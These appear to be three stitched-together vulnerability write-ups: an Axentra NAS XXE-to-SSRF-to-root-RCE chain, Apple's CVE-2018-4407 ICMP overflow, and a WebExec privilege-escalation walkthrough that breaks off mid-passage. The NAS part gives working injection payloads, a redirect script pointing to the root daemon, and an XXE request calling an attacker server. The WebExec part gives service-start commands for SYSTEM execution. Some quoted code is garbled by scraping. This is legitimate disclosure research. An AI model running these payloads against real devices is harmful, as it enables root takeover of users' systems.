Since we could make a request from the device (SSRF), we tried to locate endpoints that bypass authentication if the request came from localhost (very common issue/feature?). However, we could not find any good ones and so we moved into the internals of the NAS system specifically how the system executes commands as root (privileged actions). Now this might have not been something to look at if the user-id the web server is using had some sort of sudo privilege, but this was not the case. And since we saw this during our initial overlook of the firmware we knew there was another way the system was executing commands. After a few minutes of searching we found a daemon that the system used to execute commands and found php scripts that communicate with this daemon. We will look at the details below.

The requests to this daemon are sent using xml format and the file is located in/var/www/html/classes/AxServerProxy.php, which calls a function named systemProxyRequestto send the requests. The systemProxyRequest is located in the same file and the code is given below.

/var/www/html/classes/AxServerProxy.php:

line 15641688:
function systemProxyRequest($command, $operation, $params = array(  ), $reqData = ») {
$Proc = true;
$host = ‘127.0.0.1’;
$port = 2000;
$fp = fsockopen( $host, $port, $errno, $errstr );
if (!$fp) {
AxRecoverableErrorException;
throw new ( ‘Could not connect to sp server’, 4 );
}
if ($Proc) {
unset( $root );
DOMDocument;
$doc = new ( ‘1.0’ );
$root = $doc->createElement( ‘proxy_request’ );
$cmdNode = $doc->createElement( ‘command_name’ );
$cmdNode->appendChild( $doc->createTextNode( $command ) );
$root->appendChild( $cmdNode );
$opNode = $doc->createElement( ‘operation_name’ );
$opNode->appendChild( $doc->createTextNode( $operation ) );
$root->appendChild( $opNode );

if ($reqData[0] == ‘<‘) {
if (substr( $reqData, 0, 5 ) == ‘<?xml’) {
$reqData = preg_replace( ‘/<\?xml.*?\?>/’, », $reqData );
}

DOMDocument;
$reqDoc = new (  );
$reqData = str_replace( », », $reqData );
$reqDoc->loadXML( $reqData );
$mNewNode = $doc->importNode( $reqDoc->documentElement, true);
$dNode->appendChild( $mNewNode );
}
….
$root->appendChild( $dNode );
}
if ($root) {
$doc->appendChild( $root );
fputs( $fp, $doc->saveXML(  ) . » );
}

$Resp = »;
stream_set_timeout( $fp, 120 );
while (!feof( $fp )) {
$Resp .= fread( $fp, 1024 );
$info = stream_get_meta_data( $fp );

if ($info[‘timed_out’]) {
return array( ‘return_code’ => ‘FAILURE’, ‘description’ => ‘System Proxy Timeout’, ‘error_code’ => 4, ‘return_message’ => », ‘return_value’ => » );
}
}

As clearly seen above the function takes xml data and cleans out a few things like spaces and sends it to the daemon listening on port 2000 of the local machine. The daemon is located at/sbin/oe-spd and is a binary file, so we looked into it using IDA, the following pieces of code were generated by the Hex-Rays decompiler in IDA.

in function sub_A810:

This function receives the data from the socket as an argument (a2) and parses it.

JUICE B:

signed int __fastcall sub_A810(int a1, const char **a2) line 52:

v10 = strstr(*v3, «<?xml version=\»1.0\»?>»); // strstr skips over junk data until requested string is found (<?xml version=1.0 ?>)

The line above is important to us mainly because the request is sent through the HTTP protocol so the daemons «feature» to skip over the junk data allows us to embed our payload in an http request to http://127.0.0.1:2000 (the daemons port) without worrying about formatting or the daemon bailing because of unknown characters; it does the same thing with junk data after the xml too.

Now, we skipped over looking into how the whole oe-spd daemon code works, mainly because we had our sights set on finding and exploiting a simple RCE bug, and we had all we need to test out a few ways we could go about achieving that, we had the format of the messages fromAxServerProxy.php and some from usr/lib/spd/scripts/. The method we used to find the RCE was sending the request through curl, and tracing the process with strace while running in a qemu environment, this helped us filter out execve calls with the right parameters to use as a payload. As a note there were A LOT of vulnerable functions in this daemon, but in the following we only show the one we used to achieve RCE. The interested one’s among you can explore the daemon using the hints we gave above.

curl command and response:

curl -vd ‘<?xml version=»1.0″?><proxy_request><command_name>usb</command_name><operation_name>eject</operation_name><parameter parameter_name=»disk»>BOGUS_DEVICE</parameter></proxy_request>’ http://127.0.0.1:2000/
*   Trying 127.0.0.1…
* TCP_NODELAY set
* Connected to 127.0.0.1 (127.0.0.1) port 2000 (#0)
> POST / HTTP/1.1
> Host: 127.0.0.1:2000
> User-Agent: curl/7.61.1
> Accept: */*
> Content-Length: 179
> Content-Type: application/x-www-form-urlencoded
>
* upload completely sent off: 179 out of 179 bytes

<?xml version=»1.0″?>
<proxy_return>
<command_name>usb</command_name>
<operation_name>eject</operation_name>
<proxy_reply return_code=»SUCCESS» description=»Operation successful» />
</proxy_return>

strace command and output

sudo strace -f -s 10000000 -q -p 2468 -e execve
[pid  2510] execve(«/usr/lib/spd/usb», [«/usr/lib/spd/usb»], 0x63203400 /* 22 vars */ <unfinished …>
[pid  2511] +++ exited with 0 +++
[pid  2510] <… execve resumed> )      = 0
[pid  2513] execve(«/bin/sh», [«sh», «-c», «/usr/lib/spd/scripts/usb/usbremoveall /dev/BOGUS_DEVICE manual»], 0x62c67f10 /* 22 vars */ <unfinished …>
[pid  2514] +++ exited with 0 +++
[pid  2513] <… execve resumed> )      = 0
[pid  2513] execve(«/usr/lib/spd/scripts/usb/usbremoveall», [«/usr/lib/spd/scripts/usb/usbremoveall», «/dev/BOGUS_DEVICE», «manual»], 0x62a65800 /* 22 vars */ <unfinished …>
[pid  2515] +++ exited with 0 +++
[pid  2513] <… execve resumed> )      = 0
[pid  2517] execve(«/bin/sh», [«sh», «-c», «grep /dev/BOGUS_DEVICE /etc/mtab»], 0x63837f80 /* 22 vars */ <unfinished …>
[pid  2518] +++ exited with 0 +++
[pid  2517] <… execve resumed> )      = 0
[pid  2517] execve(«/bin/grep», [«grep», «/dev/BOGUS_DEVICE», «/etc/mtab»], 0x64894000 /* 22 vars */ <unfinished …>
[pid  2519] +++ exited with 0 +++
[pid  2517] <… execve resumed> )      = 0
[pid  2520] +++ exited with 1 +++
[pid  2517] +++ exited with 1 +++
[pid  2513] — SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=2517, si_uid=0, si_status=1, si_utime=4, si_stime=3} —
[pid  2516] +++ exited with 1 +++
[pid  2513] +++ exited with 1 +++
[pid  2510] — SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=2513, si_uid=0, si_status=1, si_utime=16, si_stime=6} —
[pid  2512] +++ exited with 0 +++
[pid  2510] +++ exited with 0 +++
[pid  2508] — SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=2510, si_uid=0, si_status=0, si_utime=4, si_stime=1} —
[pid  2509] +++ exited with 1 +++
[pid  2508] +++ exited with 1 +++

the command execution bug should be clearly visible here, but in case you missed it, the 4th line in the strace output shows out input (BOGUS_DEVICE) being passed to a /bin/sh call, now we send a test injection to see if our command execution works.

curl command and output:

curl -vd ‘<?xml version=»1.0″?><proxy_request><command_name>usb</command_name><operation_name>eject</operation_name><parameter parameter_name=»disk»>`echo pwnEd`</parameter></proxy_request>’ http://127.0.0.1:2000/

<?xml version=»1.0″?>
<proxy_return>
<command_name>usb</command_name>
<operation_name>eject</operation_name>
<proxy_reply return_code=»SUCCESS» description=»Operation successful» />
</proxy_return>

Strace output:

[pid  2550] execve(«/usr/lib/spd/usb», [«/usr/lib/spd/usb»], 0x63203400 /* 22 vars */ <unfinished …>
[pid  2551] +++ exited with 0 +++
[pid  2550] <… execve resumed> )      = 0
[pid  2553] execve(«/bin/sh», [«sh», «-c», «/usr/lib/spd/scripts/usb/usbremoveall /dev/`echo pwnEd` manual»], 0x6291cf10 /* 22 vars */ <unfinished …>

If you take a close look of the output, it can be seen that «echo pwnEd» command we gave in backticks has been evaluated and the output is being used as a part of a later command. To make this PoC simpler, we just write a file in /tmp and see if it exists in the device.

curl -vd ‘<?xml version=»1.0″?><proxy_request><command_name>usb</command_name><operation_name>eject</operation_name><parameter parameter_name=»disk»>dev_`id>/tmp/pwned`</parameter></proxy_request>’ http://127.0.0.1:2000/

Now we have complete command execution. In order to chain this bug with our XXE and SSRF we have to make the xml parser send a request to http://127.0.0.1:2000/ with the payload. Although sending a normal http request to the daemon was not a problem, things fell apart when we tried to append the payload as a url location in the xml file, the parser failed with an error (Invalid Url) so we had to change our approach. After a few failed attempts we figured out the libxml http client correctly follows 301/2 redirections and this does not make the parser fail since the url given in the redirection does not pass through the same parser as the initial url in the xml data, so we created a little php script to redirect the libxml http client to http://127.0.0.1:2000/ with the payload embedded as a url path. The script is shown below.

redir.php:

<?php
if(isset($_GET[‘red’]))
{
header(‘Location: http://127.0.0.1:2000/a.php?d=<?xml version=»1.0″?><proxy_request><command_name>usb</command_name><operation_name>eject</operation_name><parameter parameter_name=»disk»>a`id>/var/www/html/html/pwned.txt`</parameter></proxy_request>»»‘); //302 Redirect

}
?>

Then we ran this on our server the commands we used and the final

output is given below.

curl command and output:

curl -kd ‘<?xml version=»1.0″?><!DOCTYPE requests [ <!ELEMENT request (#PCDATA)> <!ENTITY % dtd SYSTEM «http://SolarSystem:9091/redir.php?red=1″> %dtd; ]> <requests> <request href=»/api/2.0/rest/3rdparty/facebook/» method=»GET»></request> </requests>’ http://axentra.local/api/2.0/rest/aggregator/xml
<?xml version=»1.0″?>
<responses>
<response method=»GET» href=»/api/2.0/rest/3rdparty/facebook/»>
<errors><error code=»401″ msg=»Unauthorized»/></errors>
</response>
</responses>%

root@Server:~# php -S 0.0.0.0:9091
PHP 7.0.32-0ubuntu0.16.04.1 Development Server started at Thu Nov  1 16:02:16 2018
Listening on http://0.0.0.0:9091
Document root is /root/…
Press Ctrl-C to quit.
[Thu Nov  1 16:02:43 2018] axentra.local:39248 [302]: /redir.php?red=1

As seen above the php script sent a 302 (Found) response to the libxml http client which should redirect it to http://127.0.0.1:2000/a.php?d=<?xml version=»1.0″?><proxy_request><command_name>usb</command_name><operation_name>eject</operation_name><parameter parameter_name=»disk»>a`id>/var/www/html/html/pwned.txt`</parameter></proxy_request>»»

The above redirection should execute our command injection and create a pwned.txt file in the webroot with the output of id, the following request checks the output and existence of the file.

curl command and output:

curl -k http://axentra.local/pwned.txt
uid=0(root) gid=0(root)

Yay! our pwned.txt has been created and the exploit was successful. We have a video demo showing the full exploit chain from XXE to SSRF to RCE being used to create a reverse root shell. We will post the video and the exploit code soon.

Timeline

This research was the basis of us looking into more NAS devices, like WD MyBook and discovering multiple critical root RCE vulnerabilities that ultimately impacted millions of devices from western countries were published on our research published on WizCase blog here. Unfortunately, Axentra, the affected devices, and even WD, chose silence. Some have responded saying there will NOT BE any patches for the vulnerabilities affecting millions!

This is where, soon in the future, the enforced involvement of laws like The California Consumer Privacy ACT can come to play by holding manufactures responsible for their actions, in this case, at-least regarding patching!

Kernel RCE caused by buffer overflow in Apple’s ICMP packet-handling code (CVE-2018-4407)

( Original text )

This post is about a heap buffer overflow vulnerability which I found in Apple’s XNU operating system kernel. I have written a proof-of-concept exploit which can reboot any Mac or iOS device on the same network, without any user interaction. Apple have classified this vulnerability as a remote code execution vulnerability in the kernel, because it may be possible to exploit the buffer overflow to execute arbitrary code in the kernel.

The following operating system versions and devices are vulnerable:

  • Apple iOS 11 and earlier: all devices (upgrade to iOS 12)
  • Apple macOS High Sierra, up to and including 10.13.6: all devices (patched in security update 2018-001)
  • Apple macOS Sierra, up to and including 10.12.6: all devices (patched in security update 2018-005)
  • Apple OS X El Capitan and earlier: all devices

I reported the vulnerability in time for Apple to patch the vulnerability for iOS 12 (released on September 17) and macOS Mojave (released on September 24). Both patches were announced retrospectively on October 30.

Severity and Mitigation

The vulnerability is a heap buffer overflow in the networking code in the XNU operating system kernel. XNU is used by both iOS and macOS, which is why iPhones, iPads, and Macbooks are all affected. To trigger the vulnerability, an attacker merely needs to send a malicious IP packet to the IP address of the target device. No user interaction is required. The attacker only needs to be connected to the same network as the target device. For example, if you are using the free WiFi in a coffee shop then an attacker can join the same WiFi network and send a malicious packet to your device. (If an attacker is on the same network as you, it is easy for them to discover your device’s IP address using nmap.) To make matters worse, the vulnerability is in such a fundamental part of the networking code that anti-virus software will not protect you: I tested the vulnerability on a Mac running McAfee® Endpoint Security for Mac and it made no difference. It also doesn’t matter what software you are running on the device — the malicious packet will still trigger the vulnerability even if you don’t have any ports open.

Since an attacker can control the size and content of the heap buffer overflow, it may be possible for them to exploit this vulnerability to gain remote code execution on your device. I have not attempted to write an exploit which is capable of doing this. My exploit PoC just overwrites the heap with garbage, which causes an immediate kernel crash and device reboot.

I am only aware of two mitigations against this vulnerability:

  1. Enabling stealth mode in the macOS firewall prevents the attack from working. Kudos to my colleague Henti Smith for discovering this, because this is an obscure system setting which is not enabled by default. As far as I’m aware, stealth mode does not exist on iOS devices.
  2. Do not use public WiFi networks. The attacker needs to be on the same network as the target device. It is not usually possible to send the malicious packet across the internet. For example, I wrote a fake web server which sends back a malicious reply when the target device tries to load a webpage. In my experiments, the malicious packet never arrived, except when the web server was on the same network as the target device.

Proof-of-concept exploit

I have written a proof-of-concept exploit which triggers the vulnerability. To give Apple’s users time to upgrade, I will not publish the source code for the exploit PoC immediately. However, I have made a short video which shows the PoC in action, crashing all the Apple devices on the local network.

The vulnerability

The bug is a buffer overflow in this line of code (bsd/netinet/ip_icmp.c:339):

m_copydata(n, 0, icmplen, (caddr_t)&icp->icmp_ip);

This code is in the function icmp_error. According to the comment, the purpose of this function is to «Generate an error packet of type error in response to bad packet ip». It uses the ICMP protocol to send out the error message. The header of the packet that caused the error is included in the ICMP message, so the purpose of the call to m_copydata on line 339 is to copy the header of the bad packet into the ICMP message. The problem is that the header might be too big for the destination buffer. The destination buffer is an mbufmbuf is a datatype which is used to store both incoming and outgoing network packets. In this code, n is an incoming packet (containing untrusted data) and m is an outgoing ICMP packet. As we will see shortly, icp is a pointer into mm is allocated on line 294 or line 296:

if (MHLEN > (sizeof(struct ip) + ICMP_MINLEN + icmplen))
  m = m_gethdr(M_DONTWAIT, MT_HEADER);  /* MAC-OK */
else
  m = m_getcl(M_DONTWAIT, MT_DATA, M_PKTHDR);

Slightly further down, on line 314mtod is used to get m‘s data pointer:

icp = mtod(m, struct icmp *);

mtod is just macro, so this line of code does not check that the mbuf is large enough to hold an icmp struct. Furthermore, the data is not copied to icp, but to &icp->icmp_ip, which is at an offset of +8 bytes from icp.

I do not have the necessary tools to be able to step through the XNU kernel in a debugger, so I am actually a little unsure about the exact allocation size of the mbuf. Based on what I see in the source code, I think that m_gethdr creates an mbuf that can hold 88 bytes, but I am less sure about m_getcl. Based on practical experiments, I have found that a buffer overflow is triggered when icmplen >= 84.

At this time, I will not say any more about how the exploit works. I want to give Apple users a chance to upgrade their devices first. However, in the relatively near future I will publish the source code for the exploit PoC in our SecurityExploits repository.

Finding the vulnerability with QL

I found this vulnerability by doing variant analysis on the bug that caused the buffer overflow vulnerability in the packet-mangler. That vulnerability was caused by a call to mbuf_copydata with a user-controlled size argument. So I wrote a simple query to look for similar bugs:

**
 * @name mbuf copydata with tainted size
 * @description Calling m_copydata with an untrusted size argument
 *              could cause a buffer overflow.
 * @kind path-problem
 * @problem.severity warning
 * @id apple-xnu/cpp/mbuf-copydata-with-tainted-size
 */

import cpp
import semmle.code.cpp.dataflow.TaintTracking
import DataFlow::PathGraph

class Config extends TaintTracking::Configuration {
  Config() { this = "tcphdr_flow" }

  override predicate isSource(DataFlow::Node source) {
    source.asExpr().(FunctionCall).getTarget().getName() = "m_mtod"
  }

  override predicate isSink(DataFlow::Node sink) {
    exists (FunctionCall call
    | call.getArgument(2) = sink.asExpr() and
      call.getTarget().getName().matches("%copydata"))
  }
}

from Config cfg, DataFlow::PathNode source, DataFlow::PathNode sink
where cfg.hasFlowPath(source, sink)
select sink, source, sink, "m_copydata with tainted size."

This is a simple taint-tracking query which looks for dataflow from m_mtod to the size of argument of a «copydata» function. The function named m_mtod returns the data pointer of an mbuf, so it is quite likely that it will return untrusted data. It is what the mtod macro expands to. Obviously m_mtod is just one of many sources of untrusted data in the XNU kernel, but I have not included any other sources to keep the query as simple as possible. This query returns 9 results, the first of which is the vulnerability in icmp_error. I believe the other 8 results are false positives, but the code is sufficiently complicated that I do consider them to be bad query results.

Try QL on XNU

Unlike most other open source projects, XNU is not available to query on LGTM. This is because LGTM uses Linux workers to build projects, but XNU can only be built on a Mac. Even on a Mac, XNU is highly non-trivial to build. I would not have been able to do it if I had not found this incredibly useful blog post by Jeremy Andrus. Using Jeremy Andrus’s instructions and scripts, I have manually built snapshots for the three most recent published versions of XNU. You can download the snapshots from these links: 10.13.410.13.510.13.6. Unfortunately, Apple have not yet released the source code for 10.14 (Mojave / iOS 12), so I cannot create a QL snapshot for running queries against it yet. To run queries on these QL snapshots, you will need to download QL for Eclipse. Instructions on how to use QL for Eclipse can be found here.

Timeline

  • 2018-08-09: Privately disclosed to product-security@apple.com. Proof-of-concept exploit included.
  • 2018-08-09: Report acknowledged by product-security@apple.com.
  • 2018-08-20: product-security@apple.com asked me to send them the exact macOS version number and a panic log.
  • 2018-08-20: Returned the requested information to product-security@apple.com. Also sent them a slightly improved version of the exploit PoC.
  • 2018-08-22: product-security@apple.com confirmed that the issue is fixed in the betas of macOS Mojave and iOS 12. However, they also said that they are «investigating addressing this issue on additional platforms» and that they will not disclose the issue until November 2018.
  • 2018-09-17: iOS 12 released by Apple. The vulnerability was fixed.
  • 2018-09-24: macOS Mojave released by Apple. The vulnerability was fixed.
  • 2018-10-30: Vulnerabilities disclosed.

"Send it back"

Credits

  • «I am Error». Screenshot from Zelda II: The Adventure of Link. The screenshot copyright is believed to belong to Nintendo. Image downloaded from wikipedia.
  • «Send it back». By Edward Backhouse.

Technical Rundown of WebExec

This is a technical rundown of a vulnerability that we’ve dubbed «WebExec».

Картинки по запросу WebExecThe summary is: a flaw in WebEx’s WebexUpdateService allows anyone with a login to the Windows system where WebEx is installed to run SYSTEM-level code remotely. That’s right: this client-side application that doesn’t listen on any ports is actually vulnerable to remote code execution! A local or domain account will work, making this a powerful way to pivot through networks until it’s patched.

High level details and FAQ at https://webexec.org! Below is a technical writeup of how we found the bug and how it works.

Credit

This vulnerability was discovered by myself and Jeff McJunkin from Counter Hack during a routine pentest. Thanks to Ed Skoudis for permission to post this writeup.

If you have any questions or concerns, I made an email alias specifically for this issue: info@webexec.org!

You can download a vulnerable installer here and a patched one here, in case you want to play with this yourself! It probably goes without saying, but be careful if you run the vulnerable version!

Intro

During a recent pentest, we found an interesting vulnerability in the WebEx client software while we were trying to escalate local privileges on an end-user laptop. Eventually, we realized that this vulnerability is also exploitable remotely (given any domain user account) and decided to give it a name: WebExec. Because every good vulnerability has a name!

As far as we know, a remote attack against a 3rd party Windows service is a novel type of attack. We’re calling the class «thank you for your service», because we can, and are crossing our fingers that more are out there!

The actual version of WebEx is the latest client build as of August, 2018: Version 3211.0.1801.2200, modified 7/19/2018 SHA1: bf8df54e2f49d06b52388332938f5a875c43a5a7. We’ve tested some older and newer versions since then, and they are still vulnerable.

WebEx released patch on October 3, but requested we maintain embargo until they release their advisory. You can find all the patching instructions on webexec.org.

The good news is, the patched version of this service will only run files that are signed by WebEx. The bad news is, there are a lot of those out there (including the vulnerable version of the service!), and the service can still be started remotely. If you’re concerned about the service being remotely start-able by any user (which you should be!), the following command disables that function:

c:\>sc sdset webexservice D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWRPWPLORC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)

That removes remote and non-interactive access from the service. It will still be vulnerable to local privilege escalation, though, without the patch.

Privilege Escalation

What initially got our attention is that folder (c:\ProgramData\WebEx\WebEx\Applications\) is readable and writable by everyone, and it installs a service called «webexservice» that can be started and stopped by anybody. That’s not good! It is trivial to replace the .exe or an associated .dll with anything we like, and get code execution at the service level (that’s SYSTEM). That’s an immediate vulnerability, which we reported, and which ZDI apparently beat us to the punch on, since it was fixed on September 5, 2018, based on their report.

Due to the application whitelisting, however, on this particular assessment we couldn’t simply replace this with a shell! The service starts non-interactively (ie, no window and no commandline arguments). We explored a lot of different options, such as replacing the .exe with other binaries (such as cmd.exe), but no GUI meant no ability to run commands.

One test that almost worked was replacing the .exe with another whitelisted application, msbuild.exe, which can read arbitrary C# commands out of a .vbproj file in the same directory. But because it’s a service, it runs with the working directory c:\windows\system32, and we couldn’t write to that folder!

At that point, my curiosity got the best of me, and I decided to look into what webexservice.exe actually does under the hood. The deep dive ended up finding gold! Let’s take a look

Deep dive into WebExService.exe

It’s not really a good motto, but when in doubt, I tend to open something in IDA. The two easiest ways to figure out what a process does in IDA is the strings windows (shift-F12) and the imports window. In the case of webexservice.exe, most of the strings were related to Windows service stuff, but something caught my eye:

  .rdata:00405438 ; wchar_t aSCreateprocess
  .rdata:00405438 aSCreateprocess:                        ; DATA XREF: sub_4025A0+1E8o
  .rdata:00405438                 unicode 0, <%s::CreateProcessAsUser:%d;%ls;%ls(%d).>,0

I found the import for CreateProcessAsUserW in advapi32.dll, and looked at how it was called:

  .text:0040254E                 push    [ebp+lpProcessInformation] ; lpProcessInformation
  .text:00402554                 push    [ebp+lpStartupInfo] ; lpStartupInfo
  .text:0040255A                 push    0               ; lpCurrentDirectory
  .text:0040255C                 push    0               ; lpEnvironment
  .text:0040255E                 push    0               ; dwCreationFlags
  .text:00402560                 push    0               ; bInheritHandles
  .text:00402562                 push    0               ; lpThreadAttributes
  .text:00402564                 push    0               ; lpProcessAttributes
  .text:00402566                 push    [ebp+lpCommandLine] ; lpCommandLine
  .text:0040256C                 push    0               ; lpApplicationName
  .text:0040256E                 push    [ebp+phNewToken] ; hToken
  .text:00402574                 call    ds:CreateProcessAsUserW

The W on the end refers to the UNICODE («wide») version of the function. When developing Windows code, developers typically use CreateProcessAsUser in their code, and the compiler expands it to CreateProcessAsUserA for ASCII, and CreateProcessAsUserW for UNICODE. If you look up the function definition for CreateProcessAsUser, you’ll find everything you need to know.

In any case, the two most important arguments here are hToken — the user it creates the process as — and lpCommandLine — the command that it actually runs. Let’s take a look at each!

hToken

The code behind hToken is actually pretty simple. If we scroll up in the same function that calls CreateProcessAsUserW, we can just look at API calls to get a feel for what’s going on. Trying to understand what code’s doing simply based on the sequence of API calls tends to work fairly well in Windows applications, as you’ll see shortly.

At the top of the function, we see:

  .text:0040241E                 call    ds:CreateToolhelp32Snapshot

This is a normal way to search for a specific process in Win32 — it creates a «snapshot» of the running processes and then typically walks through them using Process32FirstW and Process32NextW until it finds the one it needs. I even used the exact same technique a long time ago when I wrote my Injector tool for loading a custom .dll into another process (sorry for the bad code.. I wrote it like 15 years ago).

Based simply on knowledge of the APIs, we can deduce that it’s searching for a specific process. If we keep scrolling down, we can find a call to _wcsicmp, which is a Microsoft way of saying stricmp for UNICODE strings:

  .text:00402480                 lea     eax, [ebp+Str1]
  .text:00402486                 push    offset Str2     ; "winlogon.exe"
  .text:0040248B                 push    eax             ; Str1
  .text:0040248C                 call    ds:_wcsicmp
  .text:00402492                 add     esp, 8
  .text:00402495                 test    eax, eax
  .text:00402497                 jnz     short loc_4024BE

Specifically, it’s comparing the name of each process to «winlogon.exe» — so it’s trying to get a handle to the «winlogon.exe» process!

If we continue down the function, you’ll see that it calls OpenProcess, then OpenProcessToken, then DuplicateTokenEx. That’s another common sequence of API calls — it’s how a process can get a handle to another process’s token. Shortly after, the token it duplicates is passed to CreateProcessAsUserW as hToken.

To summarize: this function gets a handle to winlogon.exe, duplicates its token, and creates a new process as the same user (SYSTEM). Now all we need to do is figure out what the process is!

An interesting takeaway here is that I didn’t really really read assembly at all to determine any of this: I simply followed the API calls. Often, reversing Windows applications is just that easy!

lpCommandLine

This is where things get a little more complicated, since there are a series of function calls to traverse to figure out lpCommandLine. I had to use a combination of reversing, debugging, troubleshooting, and eventlogs to figure out exactly where lpCommandLine comes from. This took a good full day, so don’t be discouraged by this quick summary — I’m skipping an awful lot of dead ends and validation to keep just to the interesting bits.

One such dead end: I initially started by working backwards from CreateProcessAsUserW, or forwards from main(), but I quickly became lost in the weeds and decided that I’d have to go the other route. While scrolling around, however, I noticed a lot of debug strings and calls to the event log. That gave me an idea — I opened the Windows event viewer (eventvwr.msc) and tried to start the process with sc start webexservice:

C:\Users\ron>sc start webexservice

SERVICE_NAME: webexservice
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 2  START_PENDING
                                (NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
[...]

You may need to configure Event Viewer to show everything in the Application logs, I didn’t really know what I was doing, but eventually I found a log entry for WebExService.exe:

  ExecuteServiceCommand::Not enough command line arguments to execute a service command.

That’s handy! Let’s search for that in IDA (alt+T)! That leads us to this code:

  .text:004027DC                 cmp     edi, 3
  .text:004027DF                 jge     short loc_4027FD
  .text:004027E1                 push    offset aExecuteservice ; &quot;ExecuteServiceCommand&quot;
  .text:004027E6                 push    offset aSNotEnoughComm ; &quot;%s::Not enough command line arguments t&quot;...
  .text:004027EB                 push    2               ; wType
  .text:004027ED                 call    sub_401770

A tiny bit of actual reversing: compare edit to 3, jump if greater or equal, otherwise print that we need more commandline arguments. It doesn’t take a huge logical leap to determine that we need 2 or more commandline arguments (since the name of the process is always counted as well). Let’s try it:

C:\Users\ron>sc start webexservice a b

[...]

Then check Event Viewer again:

  ExecuteServiceCommand::Service command not recognized: b.

Don’t you love verbose error messages? It’s like we don’t even have to think! Once again, search for that string in IDA (alt+T) and we find ourselves here:

  .text:00402830 loc_402830:                             ; CODE XREF: sub_4027D0+3Dj
  .text:00402830                 push    dword ptr [esi+8]
  .text:00402833                 push    offset aExecuteservice ; "ExecuteServiceCommand"
  .text:00402838                 push    offset aSServiceComman ; "%s::Service command not recognized: %ls"...
  .text:0040283D                 push    2               ; wType
  .text:0040283F                 call    sub_401770

If we scroll up just a bit to determine how we get to that error message, we find this:

  .text:004027FD loc_4027FD:                             ; CODE XREF: sub_4027D0+Fj
  .text:004027FD                 push    offset aSoftwareUpdate ; "software-update"
  .text:00402802                 push    dword ptr [esi+8] ; lpString1
  .text:00402805                 call    ds:lstrcmpiW
  .text:0040280B                 test    eax, eax
  .text:0040280D                 jnz     short loc_402830 ; <-- Jumps to the error we saw
  .text:0040280F                 mov     [ebp+var_4], eax
  .text:00402812                 lea     edx, [esi+0Ch]
  .text:00402815                 lea     eax, [ebp+var_4]
  .text:00402818                 push    eax
  .text:00402819                 push    ecx
  .text:0040281A                 lea     ecx, [edi-3]
  .text:0040281D                 call    sub_4025A0

The string software-update is what the string is compared to. So instead of b, let’s try software-update and see if that gets us further! I want to once again point out that we’re only doing an absolutely minimum amount of reverse engineering at the assembly level — we’re basically entirely using API calls and error messages!

Here’s our new command:

C:\Users\ron>sc start webexservice a software-update

[...]

Which results in the new log entry:

  Faulting application name: WebExService.exe, version: 3211.0.1801.2200, time stamp: 0x5b514fe3
  Faulting module name: WebExService.exe, version: 3211.0.1801.2200, time stamp: 0x5b514fe3
  Exception code: 0xc0000005
  Fault offset: 0x00002643
  Faulting process id: 0x654
  Faulting application start time: 0x01d42dbbf2bcc9b8
  Faulting application path: C:\ProgramData\Webex\Webex\Applications\WebExService.exe
  Faulting module path: C:\ProgramData\Webex\Webex\Applications\WebExService.exe
  Report Id: 31555e60-99af-11e8-8391-0800271677bd

Uh oh! I’m normally excited when I get a process to crash, but this time I’m actually trying to use its features! What do we do!?

First of all, we can look at the exception code: 0xc0000005. If you Google it, or develop low-level software, you’ll know that it’s a memory fault. The process tried to access a bad memory address (likely NULL, though I never verified).

The first thing I tried was the brute-force approach: let’s add more commandline arguments! My logic was that it might require 2 arguments, but actually use the third and onwards for something then crash when they aren’t present.

So I started the service with the following commandline:

C:\Users\ron>sc start webexservice a software-update a b c d e f

[...]

That led to a new crash, so progress!

  Faulting application name: WebExService.exe, version: 3211.0.1801.2200, time stamp: 0x5b514fe3
  Faulting module name: MSVCR120.dll, version: 12.0.21005.1, time stamp: 0x524f7ce6
  Exception code: 0x40000015
  Fault offset: 0x000a7676
  Faulting process id: 0x774
  Faulting application start time: 0x01d42dbc22eef30e
  Faulting application path: C:\ProgramData\Webex\Webex\Applications\WebExService.exe
  Faulting module path: C:\ProgramData\Webex\Webex\Applications\MSVCR120.dll
  Report Id: 60a0439c-99af-11e8-8391-0800271677bd

I had to google 0x40000015; it means STATUS_FATAL_APP_EXIT. In other words, the app exited, but hard — probably a failed assert()? We don’t really have any output, so it’s hard to say.

This one took me awhile, and this is where I’ll skip the deadends and debugging and show you what worked.

Basically, keep following the codepath immediately after the software-update string we saw earlier. Not too far after, you’ll see this function call:

  .text:0040281D                 call    sub_4025A0

If you jump into that function (double click), and scroll down a bit, you’ll see:

  .text:00402616                 mov     [esp+0B4h+var_70], offset aWinsta0Default ; "winsta0\\Default"

I used the most advanced technique in my arsenal here and googled that string. It turns out that it’s a handle to the default desktop and is frequently used when starting a new process that needs to interact with the user. That’s a great sign, it means we’re almost there!

A little bit after, in the same function, we see this code:

  .text:004026A2                 push    eax             ; EndPtr
  .text:004026A3                 push    esi             ; Str
  .text:004026A4                 call    ds:wcstod ; <--
  .text:004026AA                 add     esp, 8
  .text:004026AD                 fstp    [esp+0B4h+var_90]
  .text:004026B1                 cmp     esi, [esp+0B4h+EndPtr+4]
  .text:004026B5                 jnz     short loc_4026C2
  .text:004026B7                 push    offset aInvalidStodArg ; &quot;invalid stod argument&quot;
  .text:004026BC                 call    ds:?_Xinvalid_argument@std@@YAXPBD@Z ; std::_Xinvalid_argument(char const *)

The line with an error — wcstod() is close to where the abort() happened. I’ll spare you the debugging details — debugging a service was non-trivial — but I really should have seen that function call before I got off track.

I looked up wcstod() online, and it’s another of Microsoft’s cleverly named functions. This one converts a string to a number. If it fails, the code references something called std::_Xinvalid_argument. I don’t know exactly what it does from there, but we can assume that it’s looking for a number somewhere.

This is where my advice becomes «be lucky». The reason is, the only number that will actually work here is «1». I don’t know why, or what other numbers do, but I ended up calling the service with the commandline:

C:\Users\ron>sc start webexservice a software-update 1 2 3 4 5 6

And checked the event log:

  StartUpdateProcess::CreateProcessAsUser:1;1;2 3 4 5 6(18).

That looks awfully promising! I changed 2 to an actual process:

